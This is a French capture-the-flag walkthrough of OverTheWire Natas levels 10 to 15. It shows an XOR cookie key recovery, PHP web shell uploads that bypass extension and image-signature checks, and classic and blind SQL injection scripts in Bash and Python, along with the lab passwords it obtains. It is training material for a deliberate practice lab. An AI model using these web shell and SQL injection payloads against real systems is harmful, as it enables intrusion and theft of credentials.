Sans plus attendre passons à la suite du challenge !

Level 10 -> 11

<?php  
$cookie = base64_decode('ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4$

$orig_data = json_encode(array( "showpassword"=>"no", "bgcolor"=>"#fffff$

function xor_encrypt($in, $key) {  
  $text = $in;  
  $outText = '';  
  
  // Iterate through each character  
  for($i=0;$i<strlen($text);$i++) {  
  $outText .= $text[$i] ^ $key[$i % strlen($key)];  
  }  
  
  return $outText;  
}  
$key = xor_encrypt($cookie, $orig_data);
print $key

?>  

Et le resultat ne se fait pas attendre !

qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq

On peut remarquer que la clé véritable est qw8J. Elle a été répétée pour avoir la même taille que la chaine de caractère à encoder.


Il ne reste plus qu'a utiliser pour chiffrer un nouveau cookie !

$new_cookie=json_encode(array("showpassword"=>"yes", "bgcolor"=>"#ffffff"));
$new_cookie=xor_encrypt($new_cookie, "qw8J");
print base64_encode($new_cookie);

curl -s --user "natas11:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK" "http://natas11.natas.labs.overthewire.org/" --cookie "data=ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK" | grep -oE "password for natas12 is \w*" |rev |cut -d " " -f1 |rev

EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3

Level 11 -> 12

Commençons par un exament du code source, puisque c'est possible.

J'ai séparé le code en 2 en fonction des actions de l'utilisateur.

Comme on peut le voir dans la partie souligné en jaune, c'est à ce moment précis que notre fichier est renomée et son extension changée.
Donc à chaque fois qu'on essaye d'uploader un fichier sur le serveur, il est renomé avec un nom aléatoire et son extension remplacé par .jpg.

A partir de là on a 2 solutions:

  1. On intercepter la requête pour modifier cette valeur avant qu'elle n'atteigne le serveur.
  2. On émule la requête avec curl

Quoi qu'il en soit voila le code que nous allons faire executer par le système afin de récupèrer le mot de passe du niveau suivant.

<?php
        $output = shell_exec('cat /etc/natas_webpass/natas13');
        echo "<pre>$output</pre>";
?>

1. Interception avec Burp

Avant d'uploader notre script on va activer l'interception de requête, le but étant de changer la partie que j'ai souligné en rouge pour quelque chose en .php

Ici on remplace simple l'extension .jpg par .php

On fait suivre la requête et si tout ce passe bien, le script php à bien été uploader sur le serveur web !

Il ne reste plus qu'a y acceder pour récupérer le mot de passe du niveau suivant.

2. Emulation avec Curl

Tout ce qu'on peut faire avec une interface graphique peut être fait avec une ligne de commande _ Inconnu 1809

Un jour un barbu m'a dit ça, alors depuis j'applique le plus possible !

curl --user natas12:EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3 --form "uploadedfile=@upload.php" --form "filename=exploit.php" http://natas12.natas.labs.overthewire.org/

# --form "uploadedfile=@upload.php" ## Le fichier à télécharger
# --form "filename=exploit.php"     ## Le nom du fichier à spécifier 
                                        ## Peut être n'importe quoi tant
                                        ## que ca finit par .php
Et voila le résultat
curl http://natas12:EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3@natas12.natas.labs.overthewire.org/upload/hmtyflm9sz.php

#jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY

Level 12 -> 13

Commeçons par analyser le code source à notre disposition.

On y retrouve la ligne en charge de la modification du nom du fichier uploadé (en jaune).
On trouve aussi une nouvelle vérification (en rouge).

D'après la documentation PHP, cette fonction vérifie la signature de notre fichier avant d'autoriser le téléchargement.

Ce qui veut dire que si on change les premiers octets de notre fichier pour les remplacer par une signature de fichier image alors on devrait réussir à passer la vérification!

Yaplukakomondi...

On va d'abord chercher une signature de fichier image.

Et écrire un petit script pour mettre en forme tout ça.

  1. La signature
echo "FF D8 FF DB" |xxd -r -p > Cuty.jpg

2. La charge utile

cat payload.php >> Cuty.jpg

3. Vérification

cat Cuty.jpg
����<?php
        $output = shell_exec('cat /etc/natas_webpass/natas14');
        echo "<pre>$output</pre>";
?>

file Cuty.jpg
JPEG image data

Maintenant il ne reste plus qu'a télécharger ce fichier sur le serveur en utilisant la même manipulation que dans le challenge 11->12.

curl --user natas13:jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY --form "uploadedfile=@Cuty.jpg" --form "filename=exploit.php" http://natas13.natas.labs.overthewire.org/
Et voila notre ressource sur le serveur !

Il ne reste plus qu'a récupérer le mot de passe !

curl -s --user natas13:jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY http://natas13.natas.labs.overthewire.org/upload/jresi8gq52.php | cut  -c10-

#Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1

Level 13->14

Comme toujours commençons par examiner le code source

Comme on peut le voir içi en  jaune, il y a un option de débug dans le code qui permet d'afficher la requête effectuée. Ce n'est pas indispensable puisqu'on a la requete SQL juste au dessus mais ca peut être utile, alors je vais mettre içi la requête curl pour pouvoir s'en servir.

curl -s --user natas14:Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1 "http://natas14.natas.labs.overthewire.org/?debug"  --data "username=u" --data "password=a"

NB: On peut obtenir le même résultat avec un web proxy cela dit.

Pour des raisons de facilité j'ai utilisé Burp mais on peut tout à fait utiliser la ligne de commande avec Curl, la preuve:

#!/bin/bash

user="natas14"
pass="Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1"
auth=$user":"$pass
url="http://natas14.natas.labs.overthewire.org/"

a='natas15'
b="\" OR 1=\"1"
username="username=$a"
password="password=$b"
curl -s --user $auth $url"?debug" --data "$username" --data "$password"
./curl.payload.sh |grep -oE "password for natas15 is \w*" |rev |cut -d" " -f1 |rev

#AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J

NB: Pour savoir comment construire notre injection SQL il faut se poser une question simple:

Qu'est-ce que je cherche à obtenir ?

La réponse est plutôt simple: le mot de passe de natas15. Conséquences de cette révélation ? On à de quoi remplir le champ username de notre requête, il ne reste plus qu'a trouver un subterfuge pour le mot de passe !

Level 14->15

Comme on peut le voir dans le code source, il y a 3 parties importantes:
1. Un commentaire nous renseigne sur la structure de la base de donnée.
2. Une option de débug permet d'afficher la requête SQL qui est faite.
3. Une liste des messages que peut nous renvoyer l'application.

Le but du jeu est ici de trouver 1) un utilisateur existant, et ensuite 2) faire fuiter son mot de passe.

Concernant l'utilisateur existant, c'est pas bien compliqué on cherche natas16.

Oh surprise l'utilisateur natas16 existe !

Maintenant la problématique, c'est de trouver un mot de passe en ayant pour seule réponse "oui" ou "non".

Avec un petit script Bash on peut vérifier cette hypothèse.

#!/bin/bash

user="natas15"
pass="AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J"
auth=$user":"$pass
url="http://natas15.natas.labs.overthewire.org/"

for x in {{a..z},{A..Z},{0..9}}
do
        a='natas16'
        b="\" AND SUBSTRING(password, 1, 1) = \"$x"
        username="username=$a$b"
        curl -s --user $auth $url"?debug" --data "$username" |grep -oE "Executing query: .*"
        echo ""

done

Cependant il y a un hic. Notre script ne fait pas la différence entre les minuscules et les majuscules en effet le script nous renvois ceci pour le premier caractère du mot de passe:

Cela est dû au au fait que l'on utilise un signe "=" dans notre requête.

Comme le prouve la documentation de MySQL.

Pour pouvoir contourner cette restriction on va utiliser la fonction BINARY .

#!/bin/bash

user="natas15"
pass="AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J"
auth=$user":"$pass
url="http://natas15.natas.labs.overthewire.org/"

for x in {{a..z},{A..Z},{0..9}}
do
	a='natas16'
	b="\" AND SUBSTRING(password, 1, 1) LIKE BINARY \"$x"
	username="username=$a$b"
	curl -s --user $auth $url"?debug" --data "$username" |grep -oE "Executing query: .*"
	echo ""
done

Maintenant il ne reste plus qu'a faire un script pour trouver les 32 caractères du mot de passe.

#!/bin/bash

user="natas15"
pass="AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J"
auth=$user":"$pass
url="http://natas15.natas.labs.overthewire.org/"

pass=""
for i in {1..32}
do
	for x in {{a..z},{A..Z},{0..9}}
	do
		a='natas16'
		b="\" AND SUBSTRING(password, $i, 1) LIKE BINARY \"$x"
		username="username=$a$b"
		curl -s --user $auth $url"?debug" --data "$username" |grep -oE "This user exists."
		if [ $? -eq 0 ]
		then
			pass=$pass$x
		fi
	done
	echo "password is $pass"
done

Pour comparer j'ai coder le même programe en python

#!/usr/bin/env python

import string
import requests
from requests.auth import HTTPBasicAuth

url = "http://natas15.natas.labs.overthewire.org/?debug"
#url ="http://127.0.0.1/"
user="natas15"
password2="AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J"

D={'username':'natas16'}
azAZ09 = string.ascii_letters + string.digits
solv=""
for i in range(1,33):
	for z in azAZ09:
		password='natas16" AND SUBSTRING(password,' + str(i) + ",1) LIKE BINARY \"" + z
		#print password
		D={'username':password}
		r = requests.post(url, auth=HTTPBasicAuth(user, password2), data=D)

		#print r.text
		if 'exists' in r.text :
			#print r.text
			solv+=z
	print "password is :" + str(solv)

Voilà le resultat:

Finalement pas de grand difference si ce n'est la charge CPU

NB: Une petite erreur s'est glissée dans mon code python qui à pour conséquence d'oublier de demander la dernière lettre du mot de passe, j'ai corrigé le code mais j'ai laissé les captures d'écrans telle quelle, à bon entendeur...

WaIHEacj63wnNIBROHeqi3p9t0m5nhmh